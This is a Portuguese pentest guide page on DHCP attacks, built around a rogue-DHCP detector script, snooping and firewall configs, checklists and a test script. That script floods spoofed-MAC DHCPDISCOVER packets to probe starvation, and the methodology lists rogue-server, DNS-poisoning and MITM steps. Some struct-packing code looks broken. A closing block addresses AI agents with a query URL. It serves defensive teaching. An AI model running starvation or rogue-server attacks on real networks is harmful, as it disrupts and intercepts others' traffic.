## 🔍 **Detecção e Monitoramento**

### **Script de Detecção de DHCP Rogue**

```python
#!/usr/bin/env python3
# rogue_dhcp_detector.py - Detector de servidores DHCP rogue

import socket
import struct
import time
import sys

class RogueDHCPDetector:
    """Detector de servidores DHCP rogue na rede"""
    
    def __init__(self, interface='eth0', expected_dhcp_server='192.168.1.1'):
        self.interface = interface
        self.expected_dhcp_server = expected_dhcp_server
        self.rogue_servers = []
    
    def detect(self, timeout=30):
        """Detectar servidores DHCP rogue"""
        print(f"🔍 Detectando servidores DHCP na interface {self.interface}")
        print(f"   Servidor esperado: {self.expected_dhcp_server}")
        print("=" * 60)
        
        try:
            # Criar socket raw
            sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
            sock.bind((self.interface, 0))
            sock.settimeout(timeout)
            
            # Enviar DHCPDISCOVER
            self._send_dhcp_discover(sock)
            
            start_time = time.time()
            responses = {}
            
            while time.time() - start_time < timeout:
                try:
                    data, addr = sock.recvfrom(1024)
                    self._analyze_response(data, responses)
                except socket.timeout:
                    break
            
            sock.close()
            
            # Reportar resultados
            self._print_report(responses)
            
        except PermissionError:
            print("❌ É necessário privilégios de root")
        except Exception as e:
            print(f"❌ Erro: {e}")
    
    def _send_dhcp_discover(self, sock):
        """Enviar DHCPDISCOVER para provocar respostas"""
        # Ethernet header
        eth_dst = b'\xff\xff\xff\xff\xff\xff'
        eth_src = self._get_interface_mac()
        eth_type = b'\x08\x00'
        
        # IP header
        ip_header = self._create_ip_header('0.0.0.0', '255.255.255.255')
        
        # UDP header
        udp_header = struct.pack('!HHHH', 68, 67, 1024, 0)
        
        # DHCP header
        dhcp_header = self._create_dhcp_header()
        
        # Options
        options = b'\x35\x01\x01'  # DHCPDISCOVER
        options += b'\x37\x04\x01\x03\x06\x0f'  # Parameter Request List
        options += b'\xff'  # End
        
        packet = eth_dst + eth_src + eth_type + ip_header + udp_header + dhcp_header + options
        
        sock.send(packet)
        print("📡 DHCPDISCOVER enviado")
    
    def _create_ip_header(self, src_ip, dst_ip):
        """Criar cabeçalho IP"""
        version_ihl = 0x45
        tos = 0
        total_length = 20
        identification = 0
        flags_fragment = 0
        ttl = 64
        protocol = 17
        checksum = 0
        
        header = struct.pack('!BBHHHBBH',
            version_ihl, tos, total_length,
            identification, flags_fragment,
            ttl, protocol, checksum
        )
        
        header += socket.inet_aton(src_ip)
        header += socket.inet_aton(dst_ip)
        
        return header
    
    def _create_dhcp_header(self):
        """Criar cabeçalho DHCP"""
        op = 1
        htype = 1
        hlen = 6
        hops = 0
        xid = int(time.time()) % 0xFFFFFFFF
        secs = 0
        flags = 0
        ciaddr = 0
        yiaddr = 0
        siaddr = 0
        giaddr = 0
        chaddr = self._get_interface_mac()
        chaddr = chaddr.ljust(16, b'\x00')
        sname = b'\x00' * 64
        file = b'\x00' * 128
        magic = b'\x63\x82\x53\x63'
        
        header = struct.pack('!BBBBIBBHHIIII',
            op, htype, hlen, hops, xid,
            secs, flags, ciaddr, yiaddr,
            siaddr, giaddr
        )
        
        return header + chaddr + sname + file + magic
    
    def _get_interface_mac(self):
        """Obter MAC da interface"""
        import fcntl
        import array
        
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        info = fcntl.ioctl(sock.fileno(), 0x8927, 
                           struct.pack('256s', self.interface[:15].encode()))
        sock.close()
        
        return info[18:24]
    
    def _analyze_response(self, data, responses):
        """Analisar resposta DHCP"""
        if len(data) < 42:
            return
        
        # Verificar se é DHCP (UDP ports 67/68)
        # Ethernet type
        if data[12:14] != b'\x08\x00':
            return
        
        # IP header
        ip_header = data[14:34]
        protocol = ip_header[9]
        
        if protocol != 17:  # UDP
            return
        
        # UDP header
        ip_len = (ip_header[0] & 0x0F) * 4
        udp_offset = 14 + ip_len
        udp_header = data[udp_offset:udp_offset+8]
        dst_port = struct.unpack('!H', udp_header[2:4])[0]
        
        if dst_port != 68:  # Client port
            return
        
        # DHCP packet
        dhcp_offset = udp_offset + 8
        dhcp_data = data[dhcp_offset:]
        
        if len(dhcp_data) < 240:
            return
        
        # Extrair informações
        chaddr = dhcp_data[28:44]
        hlen = dhcp_data[2]
        mac = ':'.join(f'{b:02x}' for b in chaddr[:hlen])
        
        # Buscar opção 54 (Server Identifier)
        offset = 240
        server_id = None
        
        while offset < len(dhcp_data):
            if dhcp_data[offset] == 0:
                offset += 1
                continue
            elif dhcp_data[offset] == 255:
                break
            
            opt_code = dhcp_data[offset]
            opt_len = dhcp_data[offset + 1]
            
            if opt_code == 54:  # Server Identifier
                server_id = socket.inet_ntoa(dhcp_data[offset+2:offset+2+opt_len])
                break
            
            offset += 2 + opt_len
        
        if server_id and server_id not in responses:
            responses[server_id] = {
                'mac': mac,
                'timestamp': time.time()
            }
    
    def _print_report(self, responses):
        """Imprimir relatório de detecção"""
        print("\n📊 RELATÓRIO DE DETECÇÃO DHCP")
        print("=" * 60)
        
        if not responses:
            print("✅ Nenhum servidor DHCP detectado")
            return
        
        print(f"🔍 Servidores DHCP encontrados: {len(responses)}\n")
        
        for server_ip, info in responses.items():
            if server_ip == self.expected_dhcp_server:
                print(f"✅ {server_ip} - Servidor DHCP legítimo")
            else:
                print(f"⚠️  {server_ip} - POSSÍVEL SERVIDOR ROGUE!")
                print(f"   MAC: {info['mac']}")
                self.rogue_servers.append(server_ip)
        
        if self.rogue_servers:
            print(f"\n🚨 ALERTA: {len(self.rogue_servers)} servidor(es) rogue detectado(s)")
            print(f"   IPS suspeitos: {', '.join(self.rogue_servers)}")

# Uso
detector = RogueDHCPDetector('eth0', expected_dhcp_server='192.168.1.1')
detector.detect(timeout=15)
```

### **Ferramentas de Detecção**

```bash
# DHCP Probe - Detecta servidores rogue
dhcprobe -i eth0

# Wireshark/tshark - Filtrar DHCP
tshark -i eth0 -Y "dhcp" -T fields -e ip.src -e dhcp.option.dhcp_server

# Detectar respostas inesperadas
tcpdump -i eth0 -n 'udp port 67 or udp port 68' -v

# Monitorar ofertas DHCP
tcpdump -i eth0 -n 'udp port 68 and (udp[8:1] = 2)'  # DHCPOFFER

# Detectar MACs forjados
arp-scan --localnet | grep -v "DUP"

# Monitorar logs DHCP (Linux)
tail -f /var/log/syslog | grep dhcpd

# Verificar leases
cat /var/lib/dhcp/dhcpd.leases | grep "lease"

# Nmap script para DHCP discovery
nmap --script broadcast-dhcp-discover
```

***

## 🛡️ **Mitigações e Controles**

### **Configuração de Switches**

#### **DHCP Snooping (Cisco)**

```cisco
! Habilitar DHCP snooping globalmente
ip dhcp snooping

! Habilitar DHCP snooping nas VLANs
ip dhcp snooping vlan 1-100

! Configurar trusted ports (uplinks, servidores)
interface GigabitEthernet0/1
 ip dhcp snooping trust

! Configurar rate limiting em portas de acesso
interface GigabitEthernet0/2
 ip dhcp snooping limit rate 10

! Verificar configuração
show ip dhcp snooping
show ip dhcp snooping binding
```

#### **Port Security e Rate Limiting**

```cisco
! Configurar port security
interface GigabitEthernet0/2
 switchport port-security
 switchport port-security maximum 1
 switchport port-security violation shutdown
 switchport port-security mac-address sticky

! Rate limiting de broadcasts
interface GigabitEthernet0/2
 storm-control broadcast level 1.00
 storm-control multicast level 1.00
```

#### **DHCP Snooping (Juniper)**

```juniper
set forwarding-options dhcp-relay overrides trusted-server
set forwarding-options dhcp-relay server-group DHCP-SERVERS 192.168.1.1
set interfaces ge-0/0/0 unit 0 family ethernet-switching dhcp-trusted
```

### **Configuração de Servidores DHCP**

#### **ISC DHCP Server (Linux)**

```bash
# /etc/dhcp/dhcpd.conf

# Ping check antes de alocar IP
ping-check = true;

# Limitar número de leases por MAC
deny duplicates;

# Logging detalhado
log-facility local7;

# Configuração de VLANs
subnet 192.168.1.0 netmask 255.255.255.0 {
    range 192.168.1.100 192.168.1.200;
    option routers 192.168.1.1;
    option domain-name-servers 8.8.8.8, 8.8.4.4;
    
    # Limitar leases por cliente
    max-lease-time 86400;
    default-lease-time 43200;
    
    # Ignorar requisições de MACs suspeitos
    deny unknown-clients;
}
```

### **Configuração de Firewall**

```bash
# iptables - Bloquear servidores DHCP rogue
# Permitir apenas servidor DHCP confiável
iptables -A INPUT -p udp --dport 67 -s 192.168.1.1 -j ACCEPT
iptables -A INPUT -p udp --dport 67 -j DROP

# Limitar requisições DHCP por minuto
iptables -A INPUT -p udp --dport 67 -m limit --limit 30/minute -j ACCEPT
iptables -A INPUT -p udp --dport 67 -j DROP

# Logging de tentativas suspeitas
iptables -A INPUT -p udp --dport 67 -m limit --limit 5/min -j LOG --log-prefix "DHCP: "
```

### **Segmentação de Rede**

```yaml
Práticas de Segmentação:

  VLANs Isoladas:
    - VLAN de usuários: acesso restrito
    - VLAN de servidores: isolada
    - VLAN de infraestrutura: switches, roteadores
    - VLAN de convidados: sem acesso interno
  
  Private VLANs (PVLAN):
    - Isolar hosts no mesmo segmento
    - Prevenir comunicação direta entre clientes
  
  ACLs de VLAN:
    - Controlar tráfego entre VLANs
    - Permitir apenas DHCP trusted
  
  802.1X (NAC):
    - Autenticação de dispositivos
    - Atribuição dinâmica de VLAN
    - Isolamento de dispositivos não autorizados
```

***

## 🎯 **Pentesting com DHCP**

### **Metodologia de Teste**

```yaml
Fases do Teste DHCP:

  FASE 1 - Reconhecimento:
    - Identificar servidores DHCP ativos
    - Mapear pool de endereços
    - Documentar leases atuais
    - Identificar mecanismos de proteção

  FASE 2 - Teste de Starvation:
    - Enviar DHCPDISCOVER com MACs forjados
    - Verificar esgotamento de pool
    - Documentar tempo de resposta

  FASE 3 - Teste de Rogue Server:
    - Configurar servidor DHCP rogue
    - Responder a requisições mais rápido
    - Verificar se clientes aceitam ofertas
    - Documentar configurações aceitas

  FASE 4 - Validação:
    - Verificar gateway e DNS configurados
    - Testar MITM capturando tráfego
    - Documentar impacto potencial

  FASE 5 - Relatório:
    - Listar vulnerabilidades encontradas
    - Recomendar mitigações específicas
    - Detalhar impacto para a organização
```

### **Script de Teste Automatizado**

```python
#!/usr/bin/env python3
# dhcp_pentest.py - Pentest DHCP automatizado

import socket
import struct
import time
import sys
import threading

class DHCPPenTest:
    """Ferramenta de pentest para DHCP"""
    
    def __init__(self, interface='eth0', trusted_server='192.168.1.1'):
        self.interface = interface
        self.trusted_server = trusted_server
        self.results = {
            'servers': [],
            'rogue_detected': False,
            'starvation_possible': False,
            'vulnerabilities': []
        }
    
    def run(self):
        """Executar todos os testes"""
        print(f"🔍 Iniciando pentest DHCP em {self.interface}")
        print("=" * 60)
        
        # Teste 1: Descobrir servidores DHCP
        self._discover_servers()
        
        # Teste 2: Testar DHCP starvation
        self._test_starvation()
        
        # Teste 3: Testar rogue server (simulado)
        self._test_rogue()
        
        # Relatório
        self._print_report()
    
    def _discover_servers(self):
        """Descobrir servidores DHCP na rede"""
        print("\n📡 Teste 1: Descoberta de Servidores DHCP")
        
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
            sock.settimeout(5)
            
            # Criar DHCPDISCOVER
            packet = self._create_dhcp_discover()
            
            # Enviar broadcast
            sock.sendto(packet, ('255.255.255.255', 67))
            
            responses = {}
            start_time = time.time()
            
            while time.time() - start_time < 10:
                try:
                    data, addr = sock.recvfrom(1024)
                    server_id = self._extract_server_id(data)
                    if server_id and server_id not in responses:
                        responses[server_id] = addr[0]
                        print(f"   Servidor DHCP encontrado: {server_id}")
                except socket.timeout:
                    break
            
            self.results['servers'] = list(responses.keys())
            sock.close()
            
        except Exception as e:
            print(f"   ❌ Erro: {e}")
    
    def _test_starvation(self):
        """Testar vulnerabilidade a DHCP starvation"""
        print("\n📡 Teste 2: DHCP Starvation")
        
        try:
            sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
            sock.bind((self.interface, 0))
            
            # Enviar 10 DHCPDISCOVER com MACs aleatórios
            successful = 0
            for i in range(10):
                mac = self._random_mac()
                packet = self._create_dhcp_discover_with_mac(mac)
                sock.send(packet)
                successful += 1
                time.sleep(0.1)
            
            sock.close()
            
            if successful > 5:
                self.results['starvation_possible'] = True
                self.results['vulnerabilities'].append({
                    'type': 'STARVATION',
                    'severity': 'MEDIUM',
                    'details': f'{successful} pacotes DHCPDISCOVER aceitos'
                })
                print(f"   ⚠️  {successful} DHCPDISCOVER aceitos - possível vulnerabilidade")
            else:
                print(f"   ✅ Apenas {successful} aceitos - possível proteção")
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
    
    def _test_rogue(self):
        """Testar vulnerabilidade a rogue DHCP server (simulado)"""
        print("\n📡 Teste 3: Rogue DHCP Server")
        
        # Verificar se há múltiplos servidores
        if len(self.results['servers']) > 1:
            self.results['rogue_detected'] = True
            for server in self.results['servers']:
                if server != self.trusted_server:
                    self.results['vulnerabilities'].append({
                        'type': 'ROGUE_SERVER',
                        'severity': 'CRITICAL',
                        'details': f'Servidor DHCP não autorizado: {server}'
                    })
                    print(f"   🚨 ALERTA: Servidor DHCP não autorizado: {server}")
        
        elif len(self.results['servers']) == 1:
            if self.results['servers'][0] == self.trusted_server:
                print(f"   ✅ Apenas servidor confiável detectado")
            else:
                print(f"   ⚠️  Servidor detectado não é o confiável")
        else:
            print(f"   ⚠️  Nenhum servidor DHCP detectado")
    
    def _create_dhcp_discover(self):
        """Criar DHCPDISCOVER básico"""
        # DHCP header simplificado
        op = 1
        htype = 1
        hlen = 6
        hops = 0
        xid = int(time.time()) % 0xFFFFFFFF
        secs = 0
        flags = 0
        ciaddr = 0
        yiaddr = 0
        siaddr = 0
        giaddr = 0
        chaddr = b'\x00' * 16
        sname = b'\x00' * 64
        file = b'\x00' * 128
        magic = b'\x63\x82\x53\x63'
        
        header = struct.pack('!BBBBIBBHHIIII',
            op, htype, hlen, hops, xid,
            secs, flags, ciaddr, yiaddr,
            siaddr, giaddr
        )
        
        # Options
        options = b'\x35\x01\x01'  # DHCPDISCOVER
        options += b'\xff'  # End
        
        return header + chaddr + sname + file + magic + options
    
    def _create_dhcp_discover_with_mac(self, mac):
        """Criar DHCPDISCOVER com MAC específico"""
        # Ethernet header
        eth_dst = b'\xff\xff\xff\xff\xff\xff'
        eth_src = bytes.fromhex(mac.replace(':', ''))
        eth_type = b'\x08\x00'
        
        # IP header
        ip_header = self._create_ip_header('0.0.0.0', '255.255.255.255')
        
        # UDP header
        udp_header = struct.pack('!HHHH', 68, 67, 1024, 0)
        
        # DHCP header
        op = 1
        htype = 1
        hlen = 6
        hops = 0
        xid = int(time.time()) % 0xFFFFFFFF
        secs = 0
        flags = 0
        ciaddr = 0
        yiaddr = 0
        siaddr = 0
        giaddr = 0
        chaddr = bytes.fromhex(mac.replace(':', ''))
        chaddr = chaddr.ljust(16, b'\x00')
        sname = b'\x00' * 64
        file = b'\x00' * 128
        magic = b'\x63\x82\x53\x63'
        
        dhcp_header = struct.pack('!BBBBIBBHHIIII',
            op, htype, hlen, hops, xid,
            secs, flags, ciaddr, yiaddr,
            siaddr, giaddr
        )
        dhcp_header += chaddr + sname + file + magic
        
        # Options
        options = b'\x35\x01\x01'  # DHCPDISCOVER
        options += b'\xff'  # End
        
        packet = eth_dst + eth_src + eth_type + ip_header + udp_header + dhcp_header + options
        return packet
    
    def _create_ip_header(self, src_ip, dst_ip):
        """Criar cabeçalho IP"""
        version_ihl = 0x45
        tos = 0
        total_length = 20
        identification = 0
        flags_fragment = 0
        ttl = 64
        protocol = 17
        checksum = 0
        
        header = struct.pack('!BBHHHBBH',
            version_ihl, tos, total_length,
            identification, flags_fragment,
            ttl, protocol, checksum
        )
        
        header += socket.inet_aton(src_ip)
        header += socket.inet_aton(dst_ip)
        
        return header
    
    def _extract_server_id(self, data):
        """Extrair server identifier do pacote DHCP"""
        if len(data) < 240:
            return None
        
        offset = 240
        
        while offset < len(data):
            if data[offset] == 0:
                offset += 1
                continue
            elif data[offset] == 255:
                break
            
            opt_code = data[offset]
            opt_len = data[offset + 1]
            
            if opt_code == 54:  # Server Identifier
                return socket.inet_ntoa(data[offset+2:offset+2+opt_len])
            
            offset += 2 + opt_len
        
        return None
    
    def _random_mac(self):
        """Gerar MAC aleatório"""
        import random
        return ':'.join(f'{random.randint(0, 255):02x}' for _ in range(6))
    
    def _print_report(self):
        """Imprimir relatório final"""
        print("\n" + "=" * 60)
        print("📊 RELATÓRIO DE PENTEST DHCP")
        print("=" * 60)
        
        print(f"\n🔍 Servidores DHCP encontrados: {len(self.results['servers'])}")
        for server in self.results['servers']:
            if server == self.trusted_server:
                print(f"   ✅ {server} - Servidor confiável")
            else:
                print(f"   ⚠️  {server} - NÃO AUTORIZADO")
        
        if self.results['vulnerabilities']:
            print(f"\n🚨 VULNERABILIDADES ENCONTRADAS:")
            for vuln in self.results['vulnerabilities']:
                severity_icon = {
                    'CRITICAL': '🔴',
                    'HIGH': '🟠',
                    'MEDIUM': '🟡',
                    'LOW': '🔵'
                }.get(vuln['severity'], '⚪')
                print(f"   {severity_icon} [{vuln['severity']}] {vuln['type']}")
                print(f"      {vuln['details']}")
        
        print("\n🎯 RECOMENDAÇÕES:")
        print("   • Habilitar DHCP snooping nos switches")
        print("   • Configurar port security e rate limiting")
        print("   • Implementar 802.1X para autenticação de dispositivos")
        print("   • Monitorar servidores DHCP com ferramentas como arpwatch")
        print("   • Segmentar rede com VLANs")

# Uso
pentest = DHCPPenTest('eth0', trusted_server='192.168.1.1')
pentest.run()
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Administradores**

#### **Configuração de Switches**

* [ ] Habilitar DHCP snooping globalmente
* [ ] Habilitar DHCP snooping nas VLANs necessárias
* [ ] Configurar trusted ports para uplinks e servidores
* [ ] Configurar rate limiting para portas de acesso
* [ ] Habilitar port security com limite de MACs
* [ ] Configurar storm control para broadcasts
* [ ] Implementar 802.1X para autenticação

#### **Configuração de Servidores DHCP**

* [ ] Configurar ping-check antes de alocar IPs
* [ ] Limitar número de leases por cliente
* [ ] Implementar logging detalhado
* [ ] Configurar deny unknown-clients
* [ ] Realizar backups periódicos da configuração

#### **Monitoramento**

* [ ] Implementar detecção de rogue DHCP servers
* [ ] Monitorar logs de switches (DHCP snooping violations)
* [ ] Configurar alertas para múltiplos DHCPOFFER
* [ ] Analisar estatísticas de lease regularmente
* [ ] Integrar com SIEM para correlação de eventos

### **Checklist para Pentesters**

#### **Reconhecimento**

* [ ] Identificar servidores DHCP ativos na rede
* [ ] Mapear pool de endereços
* [ ] Documentar leases atuais
* [ ] Verificar se há proteções (DHCP snooping)
* [ ] Testar tempo de resposta dos servidores

#### **Testes de Exploração (autorizados)**

* [ ] Testar DHCP starvation com MACs forjados
* [ ] Configurar rogue DHCP server
* [ ] Verificar se clientes aceitam configurações rogue
* [ ] Testar DNS poisoning via DHCP
* [ ] Capturar tráfego para validar MITM

#### **Documentação**

* [ ] Listar servidores rogue detectados
* [ ] Documentar vulnerabilidades encontradas
* [ ] Detalhar impacto potencial
* [ ] Recomendar mitigações específicas

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
Ataques DHCP representam uma ameaça significativa:
  
  ✅ Pode ser prevenido com:
    - DHCP snooping em switches
    - Port security e rate limiting
    - Segmentação de rede (VLANs)
    - Monitoramento contínuo
  
  🔴 Consequências:
    - DoS por esgotamento de IPs
    - MITM persistente em toda rede
    - Roubo de credenciais
    - Comprometimento de infraestrutura
  
  🎯 Prioridade de correção:
    - CRÍTICA para redes corporativas
    - ALTA para ambientes com dados sensíveis
    - MÉDIA para redes pequenas
```

### **Boas Práticas Essenciais**

1. **DHCP Snooping**
   * Implementar em todos os switches de acesso
   * Configurar trusted ports corretamente
   * Monitorar violações de DHCP snooping
2. **Port Security**
   * Limitar número de MACs por porta
   * Configurar ação de violação
   * Usar sticky MAC para dispositivos fixos
3. **Rate Limiting**
   * Limitar requisições DHCP por porta
   * Prevenir DHCP starvation
   * Configurar thresholds apropriados
4. **Segmentação de Rede**
   * VLANs isoladas por função
   * PVLAN para isolamento entre hosts
   * 802.1X para controle de acesso
5. **Monitoramento Contínuo**
   * Detectar servidores rogue
   * Alertas para múltiplos DHCPOFFER
   * Auditoria de leases

### **Ferramentas de Proteção**

| Ferramenta          | Função                         | Nível        |
| ------------------- | ------------------------------ | ------------ |
| **DHCP Snooping**   | Validação DHCP no switch       | Switch       |
| **DAI**             | Validação ARP com binding DHCP | Switch       |
| **IP Source Guard** | Filtragem IP/MAC               | Switch       |
| **arpwatch**        | Monitoramento ARP              | Host         |
| **dhcprobe**        | Detecção de rogue DHCP         | Host         |
| **Wazuh/SIEM**      | Correlação de eventos          | Centralizado |

### **Referências e Padrões**

* **RFC 2131** - Dynamic Host Configuration Protocol
* **RFC 3046** - DHCP Relay Agent Information Option (Option 82)
* **Cisco DHCP Snooping** - Configuration Guide
* **IEEE 802.1X** - Port-Based Network Access Control
* **NIST SP 800-53** - Access Control and Monitoring

***

**✅ Este guia completo sobre Ataques DHCP fornece uma base sólida para entender, prevenir e testar vulnerabilidades no protocolo DHCP, com ênfase em práticas seguras e técnicas de pentesting.**

**Próximos passos sugeridos:**

* Implementar laboratório com DHCP snooping em switches
* Configurar detecção de rogue DHCP servers
* Praticar técnicas de starvation em ambiente controlado
* Auditar redes existentes com os checklists fornecidos
* Implementar 802.1X para controle de acesso baseado em identidade


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/rede-and-infraestrutura/dhcp-attacks.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
